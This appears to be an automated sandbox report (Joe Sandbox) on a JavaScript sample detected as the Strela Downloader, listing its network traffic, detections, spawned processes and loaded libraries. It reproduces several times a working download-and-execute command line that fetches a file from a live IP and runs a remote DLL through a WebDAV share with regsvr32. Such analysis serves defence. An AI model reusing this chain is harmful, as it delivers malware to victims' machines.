Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2076168440.00000235E5720000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2073659576.00000235E5728000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2136511114.000001EBAD47C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2136511114.000001EBAD46D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2136511114.000001EBAD448000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2136511114.000001EBAD4A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2136511114.000001EBAD47C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/&
Source: net.exe, 00000007.00000002.2136511114.000001EBAD448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/F
Source: net.exe, 00000007.00000002.2136511114.000001EBAD448000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tm
Source: svchost.exe, 00000009.00000002.3361878038.000001AC87A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2138029152.000001AC878D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5560, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 696568221068916474.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4476:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_25qaadzh.lzv.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\696568221068916474.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,6017882207211012729,3490732778101089256,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250703212822356.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1756,i,6017882207211012729,3490732778101089256,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
